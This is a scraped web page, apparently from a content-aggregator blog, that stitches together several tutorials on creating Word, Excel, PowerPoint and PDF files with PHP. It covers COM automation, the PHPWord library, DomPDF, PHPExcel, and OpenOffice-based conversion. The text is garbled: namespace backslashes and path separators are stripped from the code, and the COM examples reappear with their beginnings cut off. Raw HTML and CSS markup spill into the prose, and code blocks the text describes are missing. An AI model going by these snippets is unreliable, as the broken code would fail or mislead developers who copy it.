Word and excel php

Время на прочтение
2 мин

Количество просмотров 11K

Есть два основных способа построить Excel, Word, и PowerPoint используя PHP. Первый — используя библиотеку COM (только под Windows сервером) и другой — используя более стандартизированные форматы, такие как CSV и HTML.

Динамической создание Word документа:

<?php
$word = new COM("word.application");

$word->Visible = 0;
$word->Documents->Add();
$word->Selection->PageSetup->LeftMargin = '2"';
$word->Selection->PageSetup->RightMargin = '2"';

//Setup the font
$word->Selection->Font->Name = 'Verdana';
$word->Selection->Font->Size = 8;

//Write some text
$word->Selection->TypeText("This is a test document");
//Save the document as DOC file
$word->Documents[1]->SaveAs("c:\docs\test1.doc");

//quit and release COM resources
$word->quit();
$word->Release();
$word = null;

?>

Динамическое создание Excel документа:

<?php
$excel = new COM("excel.application");
$excel->Visible = 0;

//Create a new workbook
$wkb = $excel->Workbooks->Add();
$sheet = $wkb->Worksheets(1);

//This code adds the text 'myvalue' on row 2, column 4
$sheet->activate;
$cell = $sheet->Cells(2,4);
$cell->Activate;
$cell->value = 'myvalue';

$wkb->SaveAs("C:docstest.xls");

//close and free resources
$wkb->Close(false);
$excel->Workbooks->Close();
$excel->Quit();
?>

Динамическое создание презентации Powerpoint

<?php
$powerpnt = new COM("powerpoint.application");
//Creating a new presentation
$pres=$powerpnt->Presentations->Add();
//Adds the first slide. "12" means blank slide
$pres->Slides->Add(1,12);
//Adds another slide. "10" means a slide with a clipart and text
$pres->Slides->Add(2,10);
//Adds a textbox
$pres->Slides[1]->Shapes->AddTextbox(1,20,50,300,40);
//Save the document as PPT file
$powerpnt->Presentations[1]->SaveAs("C:Docstest1.ppt");

//free resources and quit powerpoint
$powerpnt->quit();
?>

Как найти функции Word, Excel, и Powerpoint

Текст далее рассказывает как найти функции работы с Microsoft Office components из-под PHP:

  1. Откройте Microsoft Word, Excel, или Powerpoint
  2. Нажмите Alt+F11 для того, что бы начать Visual Basic Editor
  3. Нажмите F2
  4. Найдите «ThisDocument» слева. В правом фрейме вы увидите возможные переменные и функции, которые могут быть использованы для COM объекта

PHPWord

Latest Stable Version
CI
Code Quality
Code Coverage
Total Downloads
License
Join the chat at https://gitter.im/PHPOffice/PHPWord

PHPWord is a library written in pure PHP that provides a set of classes to write to and read from different document file formats. The current version of PHPWord supports Microsoft Office Open XML (OOXML or OpenXML), OASIS Open Document Format for Office Applications (OpenDocument or ODF), Rich Text Format (RTF), HTML, and PDF.

PHPWord is an open source project licensed under the terms of LGPL version 3. PHPWord is aimed to be a high quality software product by incorporating continuous integration and unit testing. You can learn more about PHPWord by reading the Developers’ Documentation.

If you have any questions, please ask on StackOverFlow

Read more about PHPWord:

  • Features
  • Requirements
  • Installation
  • Getting started
  • Contributing
  • Developers’ Documentation

Features

With PHPWord, you can create OOXML, ODF, or RTF documents dynamically using your PHP scripts. Below are some of the things that you can do with PHPWord library:

  • Set document properties, e.g. title, subject, and creator.
  • Create document sections with different settings, e.g. portrait/landscape, page size, and page numbering
  • Create header and footer for each sections
  • Set default font type, font size, and paragraph style
  • Use UTF-8 and East Asia fonts/characters
  • Define custom font styles (e.g. bold, italic, color) and paragraph styles (e.g. centered, multicolumns, spacing) either as named style or inline in text
  • Insert paragraphs, either as a simple text or complex one (a text run) that contains other elements
  • Insert titles (headers) and table of contents
  • Insert text breaks and page breaks
  • Insert and format images, either local, remote, or as page watermarks
  • Insert binary OLE Objects such as Excel or Visio
  • Insert and format table with customized properties for each rows (e.g. repeat as header row) and cells (e.g. background color, rowspan, colspan)
  • Insert list items as bulleted, numbered, or multilevel
  • Insert hyperlinks
  • Insert footnotes and endnotes
  • Insert drawing shapes (arc, curve, line, polyline, rect, oval)
  • Insert charts (pie, doughnut, bar, line, area, scatter, radar)
  • Insert form fields (textinput, checkbox, and dropdown)
  • Create document from templates
  • Use XSL 1.0 style sheets to transform headers, main document part, and footers of an OOXML template
  • … and many more features on progress

Requirements

PHPWord requires the following:

  • PHP 7.1+
  • XML Parser extension
  • Laminas Escaper component
  • Zip extension (optional, used to write OOXML and ODF)
  • GD extension (optional, used to add images)
  • XMLWriter extension (optional, used to write OOXML and ODF)
  • XSL extension (optional, used to apply XSL style sheet to template )
  • dompdf library (optional, used to write PDF)

Installation

PHPWord is installed via Composer.
To add a dependency to PHPWord in your project, either

Run the following to use the latest stable version

composer require phpoffice/phpword

or if you want the latest unreleased version

composer require phpoffice/phpword:dev-master

Getting started

The following is a basic usage example of the PHPWord library.

<?php
require_once 'bootstrap.php';

// Creating the new document...
$phpWord = new PhpOfficePhpWordPhpWord();

/* Note: any element you append to a document must reside inside of a Section. */

// Adding an empty Section to the document...
$section = $phpWord->addSection();
// Adding Text element to the Section having font styled by default...
$section->addText(
    '"Learn from yesterday, live for today, hope for tomorrow. '
        . 'The important thing is not to stop questioning." '
        . '(Albert Einstein)'
);

/*
 * Note: it's possible to customize font style of the Text element you add in three ways:
 * - inline;
 * - using named font style (new font style object will be implicitly created);
 * - using explicitly created font style object.
 */

// Adding Text element with font customized inline...
$section->addText(
    '"Great achievement is usually born of great sacrifice, '
        . 'and is never the result of selfishness." '
        . '(Napoleon Hill)',
    array('name' => 'Tahoma', 'size' => 10)
);

// Adding Text element with font customized using named font style...
$fontStyleName = 'oneUserDefinedStyle';
$phpWord->addFontStyle(
    $fontStyleName,
    array('name' => 'Tahoma', 'size' => 10, 'color' => '1B2232', 'bold' => true)
);
$section->addText(
    '"The greatest accomplishment is not in never falling, '
        . 'but in rising again after you fall." '
        . '(Vince Lombardi)',
    $fontStyleName
);

// Adding Text element with font customized using explicitly created font style object...
$fontStyle = new PhpOfficePhpWordStyleFont();
$fontStyle->setBold(true);
$fontStyle->setName('Tahoma');
$fontStyle->setSize(13);
$myTextElement = $section->addText('"Believe you can and you're halfway there." (Theodor Roosevelt)');
$myTextElement->setFontStyle($fontStyle);

// Saving the document as OOXML file...
$objWriter = PhpOfficePhpWordIOFactory::createWriter($phpWord, 'Word2007');
$objWriter->save('helloWorld.docx');

// Saving the document as ODF file...
$objWriter = PhpOfficePhpWordIOFactory::createWriter($phpWord, 'ODText');
$objWriter->save('helloWorld.odt');

// Saving the document as HTML file...
$objWriter = PhpOfficePhpWordIOFactory::createWriter($phpWord, 'HTML');
$objWriter->save('helloWorld.html');

/* Note: we skip RTF, because it's not XML-based and requires a different example. */
/* Note: we skip PDF, because "HTML-to-PDF" approach is used to create PDF documents. */

More examples are provided in the samples folder. For an easy access to those samples launch php -S localhost:8000 in the samples directory then browse to http://localhost:8000 to view the samples.
You can also read the Developers’ Documentation for more detail.

Contributing

We welcome everyone to contribute to PHPWord. Below are some of the things that you can do to contribute.

  • Read our contributing guide.
  • Fork us and request a pull to the master branch.
  • Submit bug reports or feature requests to GitHub.
  • Follow @PHPWord and @PHPOffice on Twitter.

Содержание

  1. Как создавать документы Microsoft Office при помощи PHP
  2. Динамической создание Word документа:
  3. Динамическое создание Excel документа:
  4. Динамическое создание презентации Powerpoint
  5. Convert Word doc, docx and Excel xls, xlsx to PDF with PHP
  6. 12 Answers 12
  7. Convert HTML Files Into Word, Excel & PDF Docs With PHP
  8. Composer
  9. Convert HTML To PDF
  10. Convert HTML To Word
  11. Convert HTML To Excel
  12. A more complex example
  13. Download Source Code
  14. Join the discussion.
  15. Navigation
  16. New Content
  17. Social
  18. PHPWord — создание MS Word документов средствами PHP
  19. Установка PHPWord

Как создавать документы Microsoft Office при помощи PHP

Динамической создание Word документа:

Visible = 0;
$word->Documents->Add();
$word->Selection->PageSetup->LeftMargin = ‘2″‘;
$word->Selection->PageSetup->RightMargin = ‘2″‘;

//Setup the font
$word->Selection->Font->Name = ‘Verdana’;
$word->Selection->Font->Size = 8;

//Write some text
$word->Selection->TypeText(«This is a test document»);
//Save the document as DOC file
$word->Documents[1]->SaveAs(«c:\docs\test1.doc»);

//quit and release COM resources
$word->quit();
$word->Release();
$word = null;

Динамическое создание Excel документа:

//Create a new workbook
$wkb = $excel->Workbooks->Add();
$sheet = $wkb->Worksheets(1);

//This code adds the text ‘myvalue’ on row 2, column 4
$sheet->activate;
$cell = $sheet->Cells(2,4);
$cell->Activate;
$cell->value = ‘myvalue’;

//close and free resources
$wkb->Close(false);
$excel->Workbooks->Close();
$excel->Quit();
?>

Динамическое создание презентации Powerpoint

Presentations->Add();
//Adds the first slide. «12» means blank slide
$pres->Slides->Add(1,12);
//Adds another slide. «10» means a slide with a clipart and text
$pres->Slides->Add(2,10);
//Adds a textbox
$pres->Slides[1]->Shapes->AddTextbox(1,20,50,300,40);
//Save the document as PPT file
$powerpnt->Presentations[1]->SaveAs(«C:Docstest1.ppt»);

//free resources and quit powerpoint
$powerpnt->quit();
?>

Источник

Convert Word doc, docx and Excel xls, xlsx to PDF with PHP

I am looking for a way to convert Word and Excel files to PDF using PHP.

The reason for this, is I need to be able to combine files of various formats into one document. I know that if I am able to convert everything to PDF I can then merge the PDFs into one file using PDFMerger (which uses fpdf).

I am already able to create PDFs from other file types / images, but am stuck with Word Docs. (I think I would possibly be able to convert the Excel files using the PHPExcel library that I already use to create Excel files from html code).

I do not use the Zend Framework, so am hoping that someone will be able to point me in the right direction.

Alternatively, if there is a way to create image (jpg) files from the Word documents, that would be workable.

12 Answers 12

I found a solution to my issue and after a request, will post it here to help others. Apologies if I missed any details, it’s been a while since I worked on this solution.

The first thing that is required is to install Openoffice.org on the server. I requested my hosting provider to install the open office RPM on my VPS. This can be done through WHM directly.

Now that the server has the capability to handle MS Office files you are able to convert the files by executing command line instructions via PHP. To handle this, I found PyODConverter: https://github.com/mirkonasato/pyodconverter

I created a directory on the server and placed the PyODConverter python file within it. I also created a plain text file above the web root (I named it «adocpdf»), with the following command line instructions in it:

This checks that the openoffice.org libraries are running and then calls the PyODConverter script to process the file and output it as a PDF. The 3 variables on the first three lines are provided when the script is executed from with a PHP file. The delay («sleep 5s») is used to ensure that openoffice.org has enough to time to initiate if required. I have used this for months now and the 5s gap seems to give enough breathing room.

The script will create a PDF version of the document in the same directory as the original.

Finally, initiating the conversion of a Word / Excel file from within PHP (I have it within a function that checks if the file we are dealing with is a word / excel document).

This PHP function is called once the Word / Excel file has been uploaded to the server. The 3 variables in the exec() call relate directly to the 3 at the start of the plain text script above. Note that the $directory variable requires no leading forward slash if the file for conversion is within the web root.

OK, that’s it! Hopefully this will be useful to someone and save them the difficulties and learning curve I faced.

Источник

Convert HTML Files Into Word, Excel & PDF Docs With PHP

The web as a publishing platform has come on leaps and bounds over the last decade or two. HTML has gone from being a simple way to markup basic documentation to a fully-fledged interactive publishing medium. But it’s still useful to be able to convert HTML into other formats, especially for systems that involve a lot of data and require exportable reports.

For example, it’s often useful to be able to download or email PDF summaries of reports or invoices to clients. Or to offer the ability for customers on an ecommerce site to download their order details as a Word document.

To get started, I’m going to assume you’re already familiar with PHP and setting up a basic web app.

Also, I’m assuming you’ve got some basic familiarity with the command line, as I’m going to be making use of the very fantastic PHP package manager, composer

Composer

Composer is, in a nutshell, a way of easily installing PHP code into your application without the headache of manually including external libraries with all their dependencies.

For a quick intro and installation guide for Composer, click here. That’ll get you up and running.

Convert HTML To PDF

To install the library I’m using to convert HTML into PDF, DomPDF , run the following composer command from your project root:

That’ll install all the required libraries I need to run DomPDF from within my simple little PHP app.

All I’ll be doing here is reading in the contents of my external HTML file, sample.html placed within the same directory as my project files.

Then, using DOMPDF ’s own internal functionality, stream the generated file to the user’s browser, ready for downloading.

And the output, a downloadable PDF.

The result of running DomPDF on a chunk of HTML

Try it yourself:

You can also generate PDF documents from whole web pages — as long as you can grab a source of HTML, for example by using the PHP function file_get_contents , you can convert any accessible web page into PDF.

Convert HTML To Word

Although it’s a more archaic and less widely supported format, Microsoft Word documents remain a popular choice for saving/reading/printing documentation.

For this I’ll be using a different composer package, PHPWord . The approach is somewhat different than for generating PDFs.

First, install the package with composer.

To get started, what’s happening in the following chunk of code is that I’m grabbing the HTML directly from the file sample.html and placing it within a DOMDocument object.

DOMDocument is a PHP class which allows for manipulation and extraction of data from HTML. Using this, it’s possible to search within HTML documents for specific pieces of data by attributes like id or class , or even by tag name — in much the same way that CSS selectors or Javascript DOM operations work.

Here, I’m getting a hold of the main page title, and the body content using the id attributes set within the HTML. You’ll see why shortly.

In the next step, I’m going to make use of an existing Word document to structure and template my generated document.

Now, unlike with DOMPDF, I can’t just take an HTML file and dump it straight into a Word document fully styled using PHPWord . It just doesn’t seem to work like that.

The approach I’m going to take is to use a template Word document, sample.docx and replace the title and content areas within that document with appropriate content from my HTML file (which I grabbed above using the getElementById method)

First, take a look at the file sample.docx in Word. You’ll see that it’s very sparse, with only a few bits of text, $ , $ <author>and $ <content>. These single words, surrounded by brackets and starting with a dollar symbol $ are the placeholders I’m going to use to swap out and replace with my HTML content.</p> <p>PHPWord will be using this template document to construct my final document using the data I pass it.</p> <p style=»clear: both»> <img decoding=»async» src=»data:image/svg+xml,%3Csvg%20xmlns=’http://www.w3.org/2000/svg’%20viewBox=’0%200%200%200’%3E%3C/svg%3E» data-lazy-src=»https://solarisedesign.com/assets/img/word-template.png»/><noscript><img decoding=»async» src=»https://solarisedesign.com/assets/img/word-template.png»/></noscript></p> <p>The following lines are responsible for inserting that content into the Word template document.</p> <p>Using this approach, you can create a Word template styled as you require, complete with formatting, font styles, spacing etc. — Then you can drop content straight into that template from an HTML file.</p> <p>This is only a simple example, but you can use more complex methods to copy segments of the template, remove segments and more. Take a look at the PHPWord class definition file to see what methods are available.</p> <p>Finally, I prepare my headers to download the generated file, and stream the data to the user’s browser.</p> <p style=»clear: both»> <img decoding=»async» style=»float: left; margin: 0 10px 5px 0;» src=»data:image/svg+xml,%3Csvg%20xmlns=’http://www.w3.org/2000/svg’%20viewBox=’0%200%200%200’%3E%3C/svg%3E» data-lazy-src=»https://solarisedesign.com/assets/img/wordout.jpg»/><noscript><img decoding=»async» style=»float: left; margin: 0 10px 5px 0;» src=»https://solarisedesign.com/assets/img/wordout.jpg»/></noscript>The result of running PHPWord on a chunk of HTML.</p> <p><strong>Note, though</strong>, the lack of any paragraph spacing or additional styling. You’d need to apply additional styling rules to the PHPWord object itself in order to more fully control the output of the script.</p> <p><strong>PHPWord by itself won’t parse any CSS included within the HTML file</strong>.</p> <p>Try it yourself:</p> <p>If you’re looking for more examples on how to use PHPWord , I wouldn’t recommend the official documentation, it’s fairly sparse and still needs a lot of work.</p> <p>Instead, take a look inside the /vendor directory after installing PHPWord using composer, specifically in phpoffice/phpword/samples where you’ll find a load of example files covering a range of use cases.</p> <h3 id=»convert-html-to-excel»>Convert HTML To Excel</h3> <p>One of the most useful conversions I’ve used before, is to produce <strong>Excel sheets using PHP</strong>, sometimes directly from HTML, but also straight from PHP using code.</p> <p>In one instance, a client wanted to be able to download a spreadsheet of sales and performance metrics directly as an Excel sheet. No such functionality existed within the system, so I wrote some custom code for it using this technique.</p> <p>Here’s a very quick example of how you can generate a simple spreadsheet using values provided in PHP.</p> <p>Let’s get started. As before, I’ll install my dependencies using Composer:</p> <p>Now, for the content of my PHP file. This one is a fairly basic example, and the result is a few cells in a single sheet populated with numbers. Nothing too fancy.</p> <p>Although containing quite a few lines of code, there’s only three significant things happening here:</p> <ul> <li>Creation of a new PHPExcel object, and some configuration work to add title, creator etc.</li> <li>Setting the values of the cells within the Excel sheet</li> <li>Output of the generated file to the user’s browser, along with some useful headers</li> </ul> <div style=»clear:both; margin-top:0em; margin-bottom:1em;»><a href=»https://www.pscraft.ru/kak-sobrat-kassetu-vhs/» target=»_blank» rel=»dofollow» class=»u67836f749b83dc59d384f04c5df4a03b»><style> .u67836f749b83dc59d384f04c5df4a03b { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u67836f749b83dc59d384f04c5df4a03b:active, .u67836f749b83dc59d384f04c5df4a03b:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u67836f749b83dc59d384f04c5df4a03b { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u67836f749b83dc59d384f04c5df4a03b .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u67836f749b83dc59d384f04c5df4a03b .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u67836f749b83dc59d384f04c5df4a03b:hover .postTitle { text-decoration: underline!important; } </style><div style=»padding-left:1em; padding-right:1em;»><span class=»ctaText»>Читайте также:</span>  <span class=»postTitle»>Как собрать кассету vhs</span></div></a></div><p>See the result yourself,</p> <h4 id=»a-more-complex-example»>A more complex example</h4> <p>But, to expand on the above, let’s explore how I can take data from an HTML file and convert that into Excel format.</p> <p>Here, I’m going to <strong>extract all visible tables</strong> within the HTML file, then use that data to create an Excel file containing two seperate sheets.</p> <p>The effect of this will be that the script will <strong>locate all table data within a page, and convert it into an Excel file, with one sheet per table</strong></p> <p style=»clear: both»> <img decoding=»async» style=»float: left; margin: 0 10px 5px 0;» src=»data:image/svg+xml,%3Csvg%20xmlns=’http://www.w3.org/2000/svg’%20viewBox=’0%200%200%200’%3E%3C/svg%3E» data-lazy-src=»https://solarisedesign.com/assets/img/excelout-1.jpg»/><noscript><img decoding=»async» style=»float: left; margin: 0 10px 5px 0;» src=»https://solarisedesign.com/assets/img/excelout-1.jpg»/></noscript>The result of running PHPExcel on a chunk of HTML</p> <p>I’m also going to be making use of the PHP class DomDocument to extract the required data from my HTML file as I did before with <strong>HTML to Word</strong></p> <p>In the following chunk of code, I do the following:</p> <ul> <li>First, grab the required data from my sample HTML file</li> <li>Then I extract the data I want from the<br/> <table>element within the HTML file, looping through the rows contained in <tbody>, and grabbing the column headers from the <thead>element.</li> <li>Next, I loop through the data generated in the previous step, and insert this into my PHPExcel object, which will build up the structure of the Excel file</li> <li>Finally, I output the generated Excel file to the user’s browser.</li> </ul> <p>PHPExcel offers a range of additional methods and options to control styling, formatting and much more. Take a look through the class documentation and the samples within the vendor/phpoffice/phpexcel/Examples directory to find out more.</p> <p>Here’s the code in full:</p> <h3 id=»download-source-code»>Download Source Code</h3> <p>To get a copy of all files used within this article, download them here.</p> <p>Once downloaded, you’ll need to run composer install to setup all the dependencies.</p> <p style=»clear: both»><img decoding=»async» src=»data:image/svg+xml,%3Csvg%20xmlns=’http://www.w3.org/2000/svg’%20viewBox=’0%200%200%200’%3E%3C/svg%3E» data-lazy-src=»https://solarisedesign.com/assets/img/resized/me-s-w150-h150-q100-m1513378327.jpg»/><noscript><img decoding=»async» src=»https://solarisedesign.com/assets/img/resized/me-s-w150-h150-q100-m1513378327.jpg»/></noscript></p> <p><b>Robin Metcalfe</b> is a web developer specialising in WordPress development, Javascript and custom coding. He enjoys coffee, more coffee and music. Get in touch with any enquiries.</p> <h3 id=»join-the-discussion»>Join the discussion.</h3> <h2 id=»navigation»>Navigation</h2> <h2 id=»new-content»>New Content</h2> <h2 id=»social»>Social</h2> <p><b>All the content and stuff here is © Robin Metcalfe and Solarise Design, 2017</b>.</p> <p><noindex><a target=»_blank» rel=»nofollow» href=»https://www.pscraft.ru/goto/http://solarisedesign.com/blog/convert-html-files-into-word-excel-pdf-docs-with-php» >Источник</a></noindex></p> <h2 id=»phpword-sozdanie-ms-word-dokumentov-sredstvami»>PHPWord — создание MS Word документов средствами PHP</h2> <p><b>Дата публикации:</b> 2016-02-25</p> <p style=»clear: both»><img decoding=»async» src=»data:image/svg+xml,%3Csvg%20xmlns=’http://www.w3.org/2000/svg’%20viewBox=’0%200%200%200’%3E%3C/svg%3E» data-lazy-src=»https://webformyself.com/wp-content/uploads/2012/66/100.jpg»/><noscript><img decoding=»async» src=»https://webformyself.com/wp-content/uploads/2012/66/100.jpg»/></noscript></p> <p><em><strong>От автора:</strong> не так давно на нашем сайте были опубликованы уроки по работе с таблицами Microsoft Excel средствами языка PHP, которые вызвали значительный интерес у нашей аудитории и поэтому, сегодня я решил показать Вам, как создавать документы Microsoft Word ,формата .docx, используя мощнейшую библиотеку PHPWord.</em></p> <p><div class=»rll-youtube-player» data-src=»https://www.youtube.com/embed/ABUsfdD4HlQ» data-id=»ABUsfdD4HlQ» data-query=»rel=0&vq=hd720″></div><noscript><iframe src=»https://www.youtube.com/embed/ABUsfdD4HlQ?rel=0&vq=hd720″></iframe></noscript></p> <p style=»clear: both»><img decoding=»async» src=»data:image/svg+xml,%3Csvg%20xmlns=’http://www.w3.org/2000/svg’%20viewBox=’0%200%200%200’%3E%3C/svg%3E» data-lazy-src=»https://webformyself.com/wp-content/themes/web4my/images/download.jpg»/><noscript><img decoding=»async» src=»https://webformyself.com/wp-content/themes/web4my/images/download.jpg»/></noscript><img decoding=»async» src=»data:image/svg+xml,%3Csvg%20xmlns=’http://www.w3.org/2000/svg’%20viewBox=’0%200%200%200’%3E%3C/svg%3E» data-lazy-src=»https://webformyself.com/wp-content/themes/web4my/images/download-lesson.jpg»/><noscript><img decoding=»async» src=»https://webformyself.com/wp-content/themes/web4my/images/download-lesson.jpg»/></noscript></p> <p>Актуальную версию библиотеки PHPWord, вы найдете на сервисе GitHub.</p> <p style=»clear: both»><img decoding=»async» src=»data:image/svg+xml,%3Csvg%20xmlns=’http://www.w3.org/2000/svg’%20viewBox=’0%200%200%200’%3E%3C/svg%3E» data-lazy-src=»https://webformyself.com/wp-content/uploads/2016/112/1.jpg»/><noscript><img decoding=»async» src=»https://webformyself.com/wp-content/uploads/2016/112/1.jpg»/></noscript></p> <p style=»clear: both»><img decoding=»async» src=»data:image/svg+xml,%3Csvg%20xmlns=’http://www.w3.org/2000/svg’%20viewBox=’0%200%200%200’%3E%3C/svg%3E» data-lazy-src=»https://webformyself.com/wp-content/themes/web4my/images/imgkrs/php/php8.jpg»/><noscript><img decoding=»async» src=»https://webformyself.com/wp-content/themes/web4my/images/imgkrs/php/php8.jpg»/></noscript></p> <p>Бесплатный курс по PHP программированию</p> <p>Освойте курс и узнайте, как создать веб-приложение на PHP с полного нуля</p> <p>На данной странице, приведено краткое описание и инструкция по установке библиотеки. Но данная инструкция очень ограничена и не описывает всех возможностей библиотеки, поэтому, официальную PHPWord документацию, для разработчиков, Вы найдете по ссылке.</p> <p style=»clear: both»><img decoding=»async» src=»data:image/svg+xml,%3Csvg%20xmlns=’http://www.w3.org/2000/svg’%20viewBox=’0%200%200%200’%3E%3C/svg%3E» data-lazy-src=»https://webformyself.com/wp-content/uploads/2016/112/2.jpg»/><noscript><img decoding=»async» src=»https://webformyself.com/wp-content/uploads/2016/112/2.jpg»/></noscript></p> <h3 id=»ustanovka-phpword»>Установка PHPWord</h3> <p>Установка PHPWord, может быть выполнена двумя способами. Первый способ – ручной, при котором Вы скачиваете архив с последней актуальной версией PHPWord, далее, выполняете распаковку, копируете файлы в собственный проект и подключаете на соответствующих страницах. То есть достаточно стандартный способ. И второй – так сказать, автоматический способ установки, используя инструмент Composer, который мы будем использовать в данном уроке.</p> <p>Кстати, Вы, наверное, заметили, что в своих уроках, для установки различных библиотек, я призываю Вас использовать Composer. Так как для простых проектов, в ручную, вполне можно скачивать необходимые элементы, но если мы работаем над более сложным скриптом, то порой затруднительно скачать все необходимые элементы и правильно их установить.</p> <p>Итак, открываем командную строку и переходим в каталог нашего проекта, используя команду “CD имя папки”.</p> <p style=»clear: both»><img decoding=»async» src=»data:image/svg+xml,%3Csvg%20xmlns=’http://www.w3.org/2000/svg’%20viewBox=’0%200%200%200’%3E%3C/svg%3E» data-lazy-src=»https://webformyself.com/wp-content/uploads/2016/112/3.jpg»/><noscript><img decoding=»async» src=»https://webformyself.com/wp-content/uploads/2016/112/3.jpg»/></noscript></p> <p>Далее, используя конструкцию “composer require”, указываем от какой библиотеки “зависит” наш проект и выполняем инструкцию.</p> <p><noindex><a target=»_blank» rel=»nofollow» href=»https://www.pscraft.ru/goto/http://webformyself.com/phpword-sozdanie-ms-word-dokumentov-sredstvami-php/» >Источник</a></noindex></p> <div class=»flat_pm_end»></div> </div> </article> <meta itemprop=»author» content=»admin»> <meta itemscope itemprop=»mainEntityOfPage» itemType=»https://schema.org/WebPage» itemid=»https://www.pscraft.ru/word-and-excel-php/» content=»Word and excel php»> <meta itemprop=»dateModified» content=»2023-03-24″> <meta itemprop=»datePublished» content=»2023-03-24T06:58:10+03:00″> <div itemprop=»publisher» itemscope itemtype=»https://schema.org/Organization» style=»display: none;»><div itemprop=»logo» itemscope itemtype=»https://schema.org/ImageObject»><img itemprop=»url image» src=»data:image/svg+xml,%3Csvg%20xmlns=’http://www.w3.org/2000/svg’%20viewBox=’0%200%200%200’%3E%3C/svg%3E» alt=»Блог о рисовании и уроках фотошопа» data-lazy-src=»https://www.pscraft.ru/wp-content/uploads/2023/03/logo.png»><noscript><img itemprop=»url image» src=»https://www.pscraft.ru/wp-content/uploads/2023/03/logo.png» alt=»Блог о рисовании и уроках фотошопа»></noscript></div><meta itemprop=»name» content=»Блог о рисовании и уроках фотошопа»><meta itemprop=»telephone» content=»Блог о рисовании и уроках фотошопа»><meta itemprop=»address» content=»https://www.pscraft.ru»></div> </main> </div> <aside id=»secondary» class=»widget-area» itemscope itemtype=»http://schema.org/WPSideBar»> <div class=»sticky-sidebar js-sticky-sidebar»> <div id=»categories-2″ class=»widget widget_categories»><div class=»widget-header»>Рубрики</div> <ul> <li class=»cat-item cat-item-2″><a href=»https://www.pscraft.ru/3d-model/»>3D моделирование</a> </li> <li class=»cat-item cat-item-3″><a href=»https://www.pscraft.ru/animaciya/»>Анимация</a> </li> <li class=»cat-item cat-item-4″><a href=»https://www.pscraft.ru/blog/»>Блог о рисовании и уроках фотошопа</a> </li> <li class=»cat-item cat-item-13″><a href=»https://www.pscraft.ru/web-design/»>Веб-дизайн</a> </li> <li class=»cat-item cat-item-12″><a href=»https://www.pscraft.ru/voprosi/»>Вопросы-ответы</a> </li> <li class=»cat-item cat-item-7″><a href=»https://www.pscraft.ru/for-chainik/»>Для новичков</a> </li> <li class=»cat-item cat-item-9″><a href=»https://www.pscraft.ru/illustraci/»>Иллюстрации</a> </li> <li class=»cat-item cat-item-10″><a href=»https://www.pscraft.ru/instrumenti/»>Инструменты Photoshop</a> </li> <li class=»cat-item cat-item-14″><a href=»https://www.pscraft.ru/brush-photoshop/»>Кисти для фотошоп</a> </li> <li class=»cat-item cat-item-11″><a href=»https://www.pscraft.ru/news/»>Новости</a> </li> <li class=»cat-item cat-item-8″><a href=»https://www.pscraft.ru/foto/»>Обработка фото</a> </li> <li class=»cat-item cat-item-17″><a href=»https://www.pscraft.ru/raznoe/»>Разное</a> </li> <li class=»cat-item cat-item-5″><a href=»https://www.pscraft.ru/effects/»>Создание эффектов</a> </li> </ul> </div> <div id=»recent-posts-2″ class=»widget widget_recent_entries»> <div class=»widget-header»>Свежие записи</div> <ul> <li> <a href=»https://www.pscraft.ru/excel-formuly-dlya-kolontitulov/»>Excel формулы для колонтитулов</a> </li> <li> <a href=»https://www.pscraft.ru/kenwood-tk-2260-kak-nastroit/»>Kenwood tk 2260 как настроить</a> </li> <li> <a href=»https://www.pscraft.ru/kak-nastroit-adsl-ustroystvo/»>Как настроить adsl устройство</a> </li> <li> <a href=»https://www.pscraft.ru/kak-bystro-sobrat-kubik-rubik-kombinatsii/»>Как быстро собрать кубик рубик комбинации</a> </li> <li> <a href=»https://www.pscraft.ru/dlina-intervala-eksel-nayti/»>Длина интервала эксель найти</a> </li> </ul> </div><div id=»custom_html-2″ class=»widget_text widget widget_custom_html»><div class=»textwidget custom-html-widget»><div class=»flatPM_sidebar» data-top=»70″> <div id=»Q_sidebar»></div> </div></div></div> </div> </aside> <div id=»related-posts» class=»related-posts fixed»><div class=»related-posts__header»>Вам также может понравиться</div><div class=»post-cards post-cards—vertical»> <div class=»post-card post-card—related post-card—thumbnail-no»> <div class=»post-card__title»><a href=»https://www.pscraft.ru/excel-formuly-dlya-kolontitulov/»>Excel формулы для колонтитулов</a></div><div class=»post-card__description»> Microsoft Excel трюки • приёмы • решения Печать содержимого</div> </div> <div class=»post-card post-card—related post-card—thumbnail-no»> <div class=»post-card__title»><a href=»https://www.pscraft.ru/kenwood-tk-2260-kak-nastroit/»>Kenwood tk 2260 как настроить</a></div><div class=»post-card__description»> Kenwood tk 2260 как настроить Добрый день!</div> </div> <div class=»post-card post-card—related post-card—thumbnail-no»> <div class=»post-card__title»><a href=»https://www.pscraft.ru/kak-nastroit-adsl-ustroystvo/»>Как настроить adsl устройство</a></div><div class=»post-card__description»> Настрой ADSL роутер Ростелеком и насладись «</div> </div> <div class=»post-card post-card—related post-card—thumbnail-no»> <div class=»post-card__title»><a href=»https://www.pscraft.ru/kak-bystro-sobrat-kubik-rubik-kombinatsii/»>Как быстро собрать кубик рубик комбинации</a></div><div class=»post-card__description»> Как собрать кубик Рубика с помощью 2 движений Получайте</div> </div> </div></div> </div> </div> <div class=»site-footer-container «> <div class=»footer-navigation fixed» itemscope itemtype=»http://schema.org/SiteNavigationElement»> <div class=»main-navigation-inner full»> <div class=»menu-podval-container»><ul id=»footer_menu» class=»menu»><li id=»menu-item-1644″ class=»menu-item menu-item-type-post_type menu-item-object-page menu-item-1644″><a href=»https://www.pscraft.ru/pravoobladatelyam/»>Правообладателям</a></li> <li id=»menu-item-1645″ class=»menu-item menu-item-type-post_type menu-item-object-page menu-item-1645″><a href=»https://www.pscraft.ru/politika-konfidentsialnosti/»>Политика конфиденциальности</a></li> <li id=»menu-item-1646″ class=»menu-item menu-item-type-post_type menu-item-object-page menu-item-1646″><a href=»https://www.pscraft.ru/kontakty/»>Контакты</a></li> </ul></div> </div> </div> <footer id=»colophon» class=»site-footer site-footer—style-gray full»> <div class=»site-footer-inner fixed»> <div class=»footer-bottom»> <div class=»footer-info»> © 2023 Блог о рисовании и уроках 